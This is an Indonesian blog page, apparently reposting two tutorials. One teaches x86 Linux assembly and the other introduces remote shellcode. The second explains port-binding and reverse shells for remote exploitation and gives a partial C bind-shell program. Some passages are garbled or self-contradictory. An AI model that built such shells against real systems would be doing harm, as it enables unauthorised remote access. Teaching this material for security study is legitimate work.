JAV Community

Bagi seseorang yang bergelut di dunia security bahasa Assembly adalah bahasa yang wajib dikuasai. Karena bahasa ini adalah bahasa tingkat rendah, dekat dengan bahasa mesin (biner), maka mempelajari bahasa ini akan sangat menguntungkan. Dengan mempelajari bahasa assembly, sedikit banyak secara otomatis kita akan memahami cara komputer bekerja lebih dalam lagi.

Artikel ini juga sebagai pembuka sebelum saya membahas mengenai shellcode, buffer overflow dan teknik exploitasi lain yang membutuhkan pemahaman mengenai assembly dan sistem operasi. Bila anda ingin menjadi hacker yang baik, anda wajib menguasai bahasa ini.

Bahasa Mesin, Assembly dan C

Pada dasarnya komputer adalah makhluk digital yang hanya mengerti digit 1 dan digit 0 (binary). Komputer hanya mau menerima data dalam bentuk binary dan juga hanya bisa mengerti perintah dalam bentuk binary. Perintah dalam bentuk binary ini disebut dengan bahasa mesin.

Secara umum program bisa dilihat sebagai urutan langkah/perintah/instruksi untuk menyelesaikan sesuatu. Programmer bisa langsung membuat program dengan menuliskan perintah dalam bentuk 1 dan 0 (bahasa mesin), atau menggunakan bahasa tingkat tinggi yang lebih manusiawi seperti C, Visual Basic atau Java.

Hanya dua simbol yang dimengerti komputer, yaitu 1 dan 0

Perhatikan contoh sederhana ini: programmer ingin menyimpan nilai register EAX ke dalam stack. Dalam bahasa mesin programmer harus menuliskan 01010000. Sedangkan dalam bahasa assembly programmer cukup menulis PUSH EAX. Manakah yang lebih manusiawi? Tentu menggunakan assembly lebih manusiawi. Sangat sulit bagi manusia bila harus selalu menggunakan 1 dan 0 setiap memberi perintah.

Semakin tinggi bahasanya, maka semakin manusiawi cara memberi perintahnya. Contohnya bila programmer ingin menampilkan suatu teks di layar monitor, dalam bahasa C programmer cukup menuliskan printf(“Hello World”), mudah dan singkat. Namun dalam bahasa yang lebih rendah seperti assembly, dibutuhkan sekitar 5 langkah untuk menyelesaikan tugas yang sama.

Semua program dalam bahasa apapun dibuatnya, pada akhirnya ketika akan dieksekusi akan diterjemahkan dalam bahasa mesin, karena itulah satu-satunya bahasa yang dimengerti prosesor.

Bahasa Assembly dan Processor

Karena bahasa assembly adalah mnemonic (singkatan) untuk instruksi dalam bahasa mesin. Maka perintah-perintah dalam bahasa assembly terkait erat dengan prosesornya. Setiap prosesor memiliki instruction set masing-masing,sehingga bahasa assembly untuk prosesor Intel akan berbeda dengan assembly untuk prosesor lainnya. Namun karena intel menguasai pangsa pasar prosesor maka hampir semua produsen prosesor membuat instruksi set yang kompatibel dengan intel.

Bahasa assembly adalah mnemonic dari instruksi bahasa mesin (berbentuk binary) yang disebut opcode

Dokumentasi lengkap mengenai membuat program dalam prosesor intel, termasuk daftar instruction setnya bisa diperoleh di website resmi intel, di intel developer manuals. Dalam artikel ini saya hanya menjelaskan beberapa instruksi dasar yang paling banyak dipakai, selebihnya bisa dilihat di manual yang ada di website intel.

Assembly AT&T dan NASM

Ada dua sintaks bahasa assembly, yaitu dalam format AT&T dan NASM. Sintaks AT&T banyak dipakai dalam lingkungan GNU seperti GNU Assembler, dan menjadi format default GNU Debugger (GDB). Sedangkan format NASM dipakai oleh netwide assembler dan banyak dipakai di lingkungan windows.

Perlu dicatat bahwa perbedaan NASM dan AT&T ini hanya masalah sintaks saja, keduanya menghasilkan bahasa mesin yang sama persis

Beberapa perbedaan antara format AT&T dan NASM adalah:

• Baris komentar diawali dengan “;” semicolon untuk NASM. AT&T mengawali komentar dengan # (hash)
• Dalam format AT&T, setiap register diawali dengan %. NASM tidak menggunakan %.
• Dalam format AT&T, setiap nilai literal (konstanta) diawali dengan $. NASM tidak menggunakan $.
• Pada perintah yang menggunakan operand sumber dan tujuan, format AT&T menuliskan tujuan sebagai operand kedua (contoh: CMD ,). Sedangkan NASM menuliskan tujuan sebagai operand pertama (contoh: CMD ,).

Register

Register adalah variabel internal yang sudah built-in di dalam prosesor yang bisa dipakai oleh programmer untuk bermacam-macam keperluan. Karena register posisinya di prosesor, bukan di memory, maka menggunakan register sebagai variabel jauh lebih cepat dibanding menggunakan variabel yang dismipan di suatu alamat di memori.

Berikut adalah jenis-jenis register yang ada pada prosesor Intel.

Perhatikan gambar di bawah ini untuk melihat register-register yang ada dalam prosesor keluarga IA32 (Intel Architecture 32 bit).

courtesy of iu-bremen.de

Dalam gambar di ats terlihat bahwa register-register Extended (berawalan E) adalah register 32 bit. Agar kompatibel program-program sebelumnya ketika register hanya ada 16 bit, maka register yang lain adalah bagian bit bawah dari versi extendednya. Contohnya adalah register ESI dan SI. Register SI adalah 16 bit paling bawah dari ESI. Pada register EAX, AX adalah 16 bit paling bawah dari EAX. Register AX pun dipecah lagi menjadi 8 bit atas AH dan 8 bit bawah AL. Programmer bebas menggunakan yang mana saja sesuai kebutuhannya.

The Classic “Hello World”

Cukup sudah berteori, kini kita mulai berbasah-basah. Mari kita buat program pertama dalam assembly yang menampilkan teks “Hello World”. Dalam artikel ini saya menggunakan format syntax Intel, bukan AT&T. Silakan ketik source berikut dan simpan dalam nama hello.asm

; section text khusus buat code
section .text

global _start

_start:
; systemcall => write(1,msg,len)
mov edx,len   ; panjang string dimasukkan dalam register EDX
mov ecx,msg  ; alamat memori yang menyimpan string dimasukkan dalam register ECX
mov ebx,1     ; file descriptor (1=stdout=defaultnya console) disimpan dalam register EBX
mov eax,4     ; Nomor syscall 4 adalah fungsi sys_write()
int 0x80        ; panggil system call dengan interrupt 80 hexa.

; systemcall => exit(0)
xor ebx,ebx     ; membuat EBX menjadi 0 sebagai return code ketika exit
mov eax,1     ; nomor syscall 1 adalah fungsi exit()
int 0x80        ; panggil system call dengan interrupt 80 hexa.

section .data ; section data khusus buat data/variable
msg db "Hello, World!",0xa ; String diikuti dengan 0xA yaitu new line \n.
len equ $ - msg  ; Panjang string didapat dengan mengurangi address di baris ini dengan alamat string.

Setelah itu kita akan mengcompile file ASM itu menjadi object code berformat ELF dengan NASM (netwide assembler). Setelah itu akan terbentuk file hello.o yang harus dilink dengan linker LD agar menjadi format executable.

$ nasm -f elf hello.asm
$ ld -s -o hello hello.o
$ ./hello
Hello, World!

Selamat, anda telah berhasil membuat program Hello World dalam bahasa Assembly. Program di atas sangat sederhana, kita memanggil system call write() untuk menampilkan string (msg), kemudian kita memanggil system call exit() untuk keluar dari program dan program selesai. String msg kita taruh dalam section .data karena section tersebut khusus untuk menyimpan data/variabel. Sedangkan instruksi assembly disimpan dalam section .text karena section text khusus untuk menyimpan code.

Hello World Opcode

Untuk melihat keterkaitan antara assembly dan bahasa mesin kita bisa melihat opcode dari program assembly yagn kita buat dengan program objdump pada gambar berikut ini.

Opcode di sebelah kiri adalah versi bahasa mesin dari bahasa assembly di sebelah kanannya. Hal ini menunjukkan eratnya kaitan antara assembly dan bahasa mesin. Contohnya adalah instruksi assembly INT 0×80 diterjemahkan ke bahasa mesin: 0xCD 0×80 (dalam hexa) atau 11001101 (binary dari 0xCD) 10000000 (binary dari 0×80).

Perhatikan bahwa pada source code assembly, “MOV EDX, len” setelah dicompile diterjemahkan menjadi “MOV EDX, 0xE”. Hal ini karena len adalah konstanta berisi panjang string “Hello, World!” yaitu sepanjang 14 karakter. Instruksi assembly pada source code “MOV ECX, msg” setelah dicompile diterjemahkan menjadi “MOV ECX, 0×80490a4″. Mengapa msg diterjemahkan menjadi 0×80490a4? Hal ini karena msg adalah address dari string “Hello, World!” sehingga setelah dicompile diterjemahkan menjadi alamat 0×80490a4. Terlihat juga pada gambar di atas pada lokasi 0×80490a4 terdapat string “Hello, World!”.

System Call

Dalam program hello world di atas kita memanfaatkan system call untuk menampilkan teks di layar monitor. System call adalah gerbang menuju kernel mode bagi program yang membutuhkan servis yang hanya bisa dikerjakan oleh kernel.

System call di Linux dipanggil dengan menggunakan interrupt 80 hexa. Nomor system call dimasukkan dalam register EAX. Daftar lengkap nomor systemcall di Linux bisa dibaca di file header: /usr/include/asm/unistd.h. Berikut adalah cuplikan isi dari file unistd.h

#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
* This file contains the system call numbers.
*/

#define __NR_restart_syscall      0
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8

Dalam contoh hello world kita memanfaatkan system call nomor 4 (write) dan nomor 1 (exit). Untuk mengetahui cara pemakaian dan argumen untuk system call tersebut, kita bisa gunakan man di Linux.

$ man 2 write
SYNOPSIS
ssize_t write(int fd, const void *buf, size_t count);
$ man 2 exit
void _exit(int status);

Dari manual system call write meminta 3 argument: yaitu file descriptor bertipe integer, alamat memori tempat string berada, dan terakhir adalah panjang string bertipe integer. Ketika argumen tersebut disimpan dalam register mulai dari EBX, ECX dan EDX. Argumen pertama di EBX, argumen kedua di ECX dan ketiga di EDX. Register EAX dipakai untuk menyimpan nomor system call. Dari manual system call exit meminta 1 argument: yaitu kode status bertipe integer yang disimpan dalam register EBX.

Dalam contoh hello world di atas kita menggunakan 3 intruksi assembly yaitu MOV, XOR dan INT. Mari kita bahas intstruksi tersebut.

Instruksi MOV

Kita menggunakan MOV untuk menyalin data dari sumber ke tujuan. Sumber dan tujuan bisa alamat memori, atau register. Perhatikan contoh berikut:

Perbedaan antara sintaks NASM dan AT&T adalah arah pengkopian. Dalam sintaks NASM, tujuan ada pada operand pertama, sedangkan dalam sintaks AT&T tujuan adalah operand ke-2.

Instruksi XOR

Instruksi XOR digunakan untuk melakukan operasi logika Xclusive OR. XOR akan menghasilkan 0 bila kedua operandnya sama, dan menghasilkan 1 bila tidak sama. XOR ini biasanya dipakai untuk membuat register menjadi 0 dengan melakukan XOR untuk operand yang sama seperti pada contoh hello world tersebut.

Instruksi INT

Instruksi INT digunakan untuk mengirim sinyal interrupt ke prosesor. Dalam contoh di atas kita memakai interrupt nomor 80 hexa untuk meminta layanan dari kernel.

Contoh Lain: Hello World X Times

Kali ini kita akan memodifikasi program hello world di atas agar bisa menampilkan pesan yang sama berkali-kali tergantung dari argumen yang dimasukkan user.

section .text

global _start

_start:
pop eax ; pop number of argc (diabaikan)
pop eax ; pop argv[0] (diabaikan karena berisi nama program)
pop eax ; pop argv[1] (ini dipakai untuk stringtoint)
call stringtoint ; ECX berisi argumen bertipe integer sebagai counter

_print:
push ecx              ; selamatkan counter di stack karena ECX dipakai juga di _print_hello
call _print_hello     ; print hello world
pop ecx               ; ambil lagi counter dari stack karena akan dipakai untuk looping
loop _print           ; kurangi ECX dengan 1, bila belum 0 kembali ke _print

; ini system call exit(0)
mov ebx,0
mov eax,1
int 0x80

_print_hello:   ; systemcall write(1,msg,len)
mov edx,len
mov ecx,msg
mov ebx,1
mov eax,4
int 0x80
ret

stringtoint: ; mengubah string di lokasi yang ditunjuk EAX menjadi integer di ECX
; EAX address of string
xor ecx,ecx   ; clear ECX
xor ebx,ebx   ; clear EBX
mov bl,[eax]  ; BL berisi kode ASCII string di lokasi yang ditunjuk EAX
sub bl, 0x30   ; Kode ascii angka adalah 30h-39h, dikurangkan dengan 30h
add ecx,ebx   ; ECX ditambah EBX, ECX berisi nilai integer
ret

section .data
msg db "Hello, World!",0xa
len equ $ - msg

Simpan source code di atas dengan nama helloxtimes.asm, lalu compile dan link seperti di bawah ini.

$ nasm -f elf helloxtimes.asm
$ ld -s -o helloxtimes helloxtimes.o
$ ./helloxtimes 1
Hello, World!
$ ./helloxtimes 2
Hello, World!
Hello, World!
$ ./helloxtimes 3
Hello, World!
Hello, World!
Hello, World!
$ ./helloxtimes 4
Hello, World!
Hello, World!
Hello, World!
Hello, World!

Kita belajar beberapa instruksi baru dalam contoh ke-2 ini, yaitu looping, penggunaan argumen dan prosedur, sedangkan system call yang dipakai tetap sama, yaitu write() dan exit().

Program kali ini menerima argumen berupa integer 1-9 yang dipakai sebagai counter berapa kali pesan akan muncul di monitor. Argumen ini diambil dari stack dengan instruksi POP. Pada puncak stack ada argc, yaitu jumlah argumen ketika program dijalankan. Di bawahnya berisi address dari argv[0] yaitu nama program. Kemudian di bawahnya lagi baru berisi address dari argv[1] yaitu parameter/argumen pertama. Perhatikan pada baris ke-6 s/d baris ke-8 ada instruksi POP EAX sebanyak tiga kali. Ini dilakukan karena yang diperlukan ada pada posisi ke-3 sehingga kita harus membuang 2 elemen di puncak sebelum bisa mengambil address argv[1]. Address argumen ke-1 diambil dari POP lalu disimpan dalam register EAX. Karena bentuknya masih string, maka harus diubah dulu menjadi integer dengan memanggil prosedur stringtoint pada baris ke-9.

Instruksi POP untuk Mengambil Argumen

Ketika program dijalankan dengan satu argumen seperti “./helloxtimes 7″. Maka jumlah argumen (argc) akan berisi 2, yaitu nama program itu sendiri, dan satu argumennya. ARGC akan disimpan pada puncak stack, dan elemen di bawahnya berisi alamat memori dari nama program, dan dibawahnya lagi berisi alamat memori dari argumen pertama. Perhatikan gambar di atas yang menunjukkan proses pengambilan alamat memori berisi string argumen pertama dari stack. Dalam contoh tersebut argumen adalah string “7″, yaitu karakter berkode ASCII 37 hexa diikuti dengan ASCII 0 (karakter NULL). Alamat memori berisi string argumen pertama itu diambil dari stack dan disimpan di register EAX.

Pada prosedur stringtoint, register EAX berisi address string yang akan diubah menjadi integer. Kita hanya mengambil karakter pertama saja, pada baris ke-35 dengan instruksi MOV, isi memori pada address yang ditunjuk oleh EAX dicopy ke register BL.

“MOV EBX, [EAX]” berbeda dengan “MOV EBX,EAX”. MOV EBX,[EAX] berarti menyalin isi memori pada alamat yang disimpan di EAX ke dalam register EBX. Sedangkan MOV EBX,EAX berarti menyalin isi register EAX ke register EBX

Saya menggunakan register BL karena kode ASCII lebarnya hanya 8 bit. Bila benar berisi angka, maka register BL akan berisi nilai 30h-39h (kode ascii untuk “0″-”9″). Setelah itu register BL dikurangi dengan 30h untuk mendapatkan nilai dari 0-9. Setelah itu hasilnya ditambahkan ke register ECX sehingga kembali dari prosedur ini dengan nilai integer hasil konversi di register ECX.

Setelah mendapatkan nilai argumen bertipe integer di register ECX, selanjutnya ECX ini perlu diselamatkan dulu dalam stack (baris 12) sebab ECX akan dipakai dalam prosedur _print_hello (baris 13). ECX dipakai sebagai alamat string msg ketika memanggil system call write(). Setelah kembali dari prosedur _print_hello, nilai ECX perlu dikembalikan seperti semula dengan POP ECX (baris 14) sebab akan dipakai sebagai counter dalam LOOP (baris 15). Ketika menjalankan instruksi LOOP, register ECX akan dikurangi 1, kemudian bila ECX > 0 maka program akan lompat ke _print. Bila ECX bernilai 0, maka loop berhenti dan menjalankan system call exit(0).

Setelah memahami cara kerja program contoh ke-2 itu. Sekarang mari kita bahas instruksi baru yang ada di sana: CALL, RET, PUSH, POP, LOOP.

Instruksi PUSH dan POP

Instruksi PUSH digunakan untuk menyimpan nilai ke dalam stack. Kebalikannya adalah instruksi POP untuk mengambil nilai dari stack. Stack dalam Linux membesar ke alamat memori yang lebih rendah. Puncak stack ada di alamat rendah, sedangkan dasar stack ada di alamat yang lebih tinggi.

Struktur Data Stack

Stack adalah struktur data yang mirip seperti tumpukan piring. Data yang diambil dari stack adalah data yang dimasukkan terakhir, atau istilahnya adalah LIFO (last in first out). Jadi kalau kita ingin mengambil data di tengah-tengah tumpukan, caranya adalah dengan mengambil dulu data dari puncak sampai habis, sehingga data yang kita inginkan berada di puncak stack.

PUSH dan POP dalam Stack

Reguster ESP menunjukkan alamat memori dari puncak stack. Setiap ada instruksi PUSH, maka register ESP berkurang (ingat stack bertumbuh ke alamat yang makin mengecil) karena puncak stack berubah. Begitu pula bila sebaliknya bila ada instruksi POP, maka register ESP akan bertambah.

PUSH EAX

PUSH EAX di atas sama dengan dua instruksi di bawah ini:

SUB ESP, 4
MOV DWORD PTR SS:[esp], EAX

PUSH EAX (4 byte) bisa dilakukan dengan mengurangkan ESP dengan 4, kemudian menyalin isi EAX ke memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.

POP EAX

POP EAX di atas sama dengan dua instruksi di bawah ini:

MOV EAX, DWORD PTR SS:[esp]
ADD ESP, 4

POP EAX (4 byte) bisa dilakukan dengan menyalin isi memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP ke register EAX, lalu menambahkan ESP dengan 4. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.

Instruksi CALL dan RET

Instruksi CALL digunakan untuk memanggil sebuah prosedur. Sedangkan RET dipakai untuk kembali dari prosedur kembali ke lokasi setelah instruksi pemanggilan. Ketika instruksi CALL dijalankan, prosesor menyimpan alamat instruksi sesudah instruksi CALL ke dalam stack (return address), kemudian prosesor lompat ke alamat subroutine yang dituju. Ketika instruksi RET dijalankan, maka prosesor mengambil (POP) return address (alamat yang di-push ketika CALL), kemudian loncat ke alamat tersebut.

Instruksi LOOP

LOOP digunakan untuk melakukan looping sejumlah nilai yang ada pada register ECX. Ketika ada instruksi LOOP, prosesor akan mengurangi nilai ECX dengan 1, kemudian membandingkan hasilnya. Bila nilai ECX sekarang masih > 0, maka prosesor akan loncat ke alamat yang ditunjuk dalam LOOP. Bila nilai ECX sekarang menjadi 0, prosesor tidak akan loncat, tapi melanjutkan mengerjakan instruksi selanjutnya setelah LOOP.

Instruksi tunggal “LOOP address” ekivalen dengan 2 instruksi assembly berikut:

DEC ECX   ; DECREMENT: ECX = ECX - 1, register ECX dikurangi 1
JNZ address ; JUMP IF NOT ZERO: Bila ECX masih belum 0, JUMP ke address

Pada gambar di atas ada dua kondisi yang mungkin yaitu ECX > 0 atau ECX = 0. Mungkin ada yang bertanya, lho bagaimana dengan kondisi ECX < href="http://en.wikipedia.org/wiki/Signed_number_representations">signed number representation karena itu diluar topik yang kita bahas sekarang.

Bila ECX bernilai 0 sebelum mengerjakan instruksi LOOP, maka yang terjadi adalah program akan looping sebanyak 0xFFFFFFFF atau 4.294.967.295 kali. Hal ini terjadi karena 0 – 1 = -1 yang dalam binary adalah 0xFFFFFFFF dengan sistem two-complement.

Sumber : Here

Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.

Remote Exploit

Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang “LISTEN” di port tertentu.

Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.

Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).

Remote Shellcode

Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:

• Port Binding Shellcode

Shellcode jenis ini bertujuan untuk memberikan shell yang bisa diakses dari jauh melalui port tertentu. Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP komputer target pada port yang sudah ditentukan sebelumnya.

Port binding shellcode tidak berguna bila komputer target dilindungi dengan firewall yang memblok inbound koneksi ke port di luar port yang diijinkan.

Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.

• Reverse Connecting Shellcode

Reverse connecting shellcode mirip dengan port binding shellcode namun arah koneksinya terbalik. Dalam shellcode ini justru komputer target yang membuka koneksi ke attacker. Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat paranoid terhadap koneksi yang masuk ke komputernya, namun tidak terlalu paranoid untuk koneksi keluar.

Port yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar

Socket Programming

Apa itu socket? Socket merupakan salah satu metode IPC (inter process communication), yaitu komunikasi antar proses (running program) di komputer yang sama maupun di komputer lain (melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan baik dengan komputer yang sama (localhost) maupun dengan komputer lain.

Ada dua jenis internet socket, yaitu datagram socket dan stream socket. Datagram socket digunakan untuk berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai untuk kasus ini karena protokol ini tidak reliable. Stream socket adalah socket yang memakai protokol TCP, protokol inilah yang akan dipakai dalam shellcode ini.

Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:

#include      // library untuk socket
#include       // definisi struct untuk socket

Network Byte Order vs Host Byte Order

Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada dua kubu aturan penyimpanan yang dipakai: little endian dan big endian. Ada beberapa arsitektur komputer yang memakai little endian seperti Intel, dan ada juga yang memakai big endian seperti Motorola dan PowerPC.

Dalam socket programming kita akan berkomunikasi dengan komputer lain yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin di komputer kita memakai little endian, berkomunikasi dengan komputer yang memakai big endian. Karena ada variasi ini, maka protokol IP mendefinisikan istilah network byte order dan host byte order.

Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.

Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.

Host byte order mungkin sama atau berbeda dengan host byte order.

Pada notasi little endian, byte rendah ditulis duluan, baru kemudian byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk melihat perbedaan little dan big endian.

Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0×0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.

Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.

Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut:

Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14 yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E. Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E, yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.

Pada gambar di atas juga terlihat bahwa field destination port dan source port juga ditulis dalam notasi big endian. Jadi jelas secara internal kita sudah melihat raw packet data yang diambil dari network, semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada yang perlu dikonversi.

Karena host byte order di komputer yang saya pakai (IA32) memakai little endian, sedangkan network byte order memakai big endian, maka diperlukan konversi dari little endian ke big endian. Ada banyak fungsi untuk melakukan konversi ini, antara lain:

• htons() dan htonl()

Mengubah host byte order ke network byte order. Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network byte order.

Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam hexa adalah 0×0050. Karena host (IA32) memakai little-endian, dan network memakai big endian, maka 0×0050 ini perlu dibalik dulu menjadi 0×5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0×5000 di memori komputer host akan tersimpan sebagai 0×00 0×50 dan dituliskan dalam paket jaringan dalam urutan yang sama 0×00 0×50. Bila 0×0050 tidak dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0×50 0×00, sehingga dalam paket jaringan tertulis port 0×50 0×00 yang berarti port 20.480 bila diartikan memakai big endian, bukan port 80.

• ntohs() dan ntohl()

Mengubah network byte order ke host byte order. Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).

Dalam contoh sebelumnya, port 80 dalam paket jaringan tertulis dalam urutan 0×00 0×50. Nilai ini ketika diterima oleh komputer host juga tersimpan di memori dalam urutan yang sama. Urutan dua byte 0×00 0×50 dalam host yang memakai little endian diartikan sebagai 0×5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu menjadi notasi little endian, menjadi 0×50 0×00. Dua byte 0×50 0×00 dalam sistem little endian diartikan sebagai nilai 0×0050 yaitu port 80.

Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi endianness antara host dan network. Dalam membua shellcode nanti kita tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam bentuk network byte order.

Socket Address Structure

Dalam pemrograman socket, sebuah proses akan memakai IP address dan port tertentu yang disimpan dalam struktur data bernama socket address yang strukturnya seperti di bawah ini:

typedef uint32_t in_addr_t;
struct in_addr
 {
   in_addr_t s_addr;
 };

struct sockaddr_in
 {
   sa_family_t sin_family;
   in_port_t sin_port;
   struct in_addr sin_addr;
   unsigned char sin_zero[8];
 };

sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address. sin_addr adalah IP address yang bertipe struct in_addr yang hanya memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1 tapi semua IP address di komputer tersebut). sin_port adalah port yang akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang tidak dipakai.

Ingat menuliskan IP address dan port harus dalam bentuk network byte order

Client Server Socket Programming

Socket programming melibatkan dua pihak, yaitu client dan server. Hubungan antara client dan server serta fungsi yang dipakai dapat dilihat pada gambar di atas.

Pada sisi server, fungsi yang dipakai adalah:

1. socket()

Ini adalah fungsi untuk membentuk socket baik di sisi server maupun client. Pertama kali yang harus dilakukan dalam socket programming adalah membuat socket dengan fungsi ini.

2. bind()

Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.

3. listen()

Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.

4. accept()

Ini adalah fungsi untuk menerima koneksi dari client.

5. read()

Ini adalah fungsi untuk menerima data yang dikirim client.

6. write()

Ini adalah fungsi untuk mengirim data ke client.

Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:

1. socket()

Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.

2. connect()

Fungsi ini untuk membuka koneksi ke server.

3. read()

Fungsi ini untuk menerima data dari server.

4. write()

Fungsi ini untuk mengirim data ke server.

Socket adalah File

Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah dibuka, dapat dioperasikan dengan memakai file handler. Ketika program memanggil fungsi socket(), maka dia akan menerima socket file handler, dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk berkomunikasi melalui jaringan.

Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT adalah file handler dengan nilai 1 dan STDERR adalah file handler dengan nilai 2.

Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program akan menerima masukan dari user. Namun dalam shellcode ini program tidak menerima input secara langsung dari keyboard, tetapi input berasal dari client socket. Agar input dari client socket bisa diterima oleh shell yang akan kita execute, maka kita perlu melakukan cloning dari client socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan program menerima input dari client socket.

Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker yang berada di komputer lain melalui jaringan. Oleh karena itu stdout juga harus dicloning ke client socket sehinga shell bisa mengirimkan output melalui jaringan. Sedangkan stderr biasanya adalah layar console, sama dengan stdout.

Cloning file handler dilakukan dengan memanggil fungsi dup2([socket handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan stdin/stdout/stderr adalah sama.

Membuat Port Binding Shellcode

Port binding shellcode artinya shellcode bertindak sebagai server yang menunggu koneksi dari client yaitu attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan membuat program port binding dalam bahasa C agar lebih mudah dimengerti. Source code port binding shellcode dalam bahasa C terlihat seperti di bawah ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#include 
#include 

int main() {
       char *shell[2];
       int server; // server socket file handler
       int client; // client socket file handler
       struct sockaddr_in serv_addr; // definisi ipaddress dan port

       server=socket(2,1,0); // membuat socket STREAM
       serv_addr.sin_addr.s_addr=0; // ip address ALL LOCAL address
       serv_addr.sin_port=0x5C09; // port 2396 dalam network byte order
       serv_addr.sin_family=2; // Jenis address IP
       bind(server,(struct sockaddr*)&serv_addr,16); // bind socket ke port dan ipaddress
       listen(server,0); // menunggu koneksi dari client
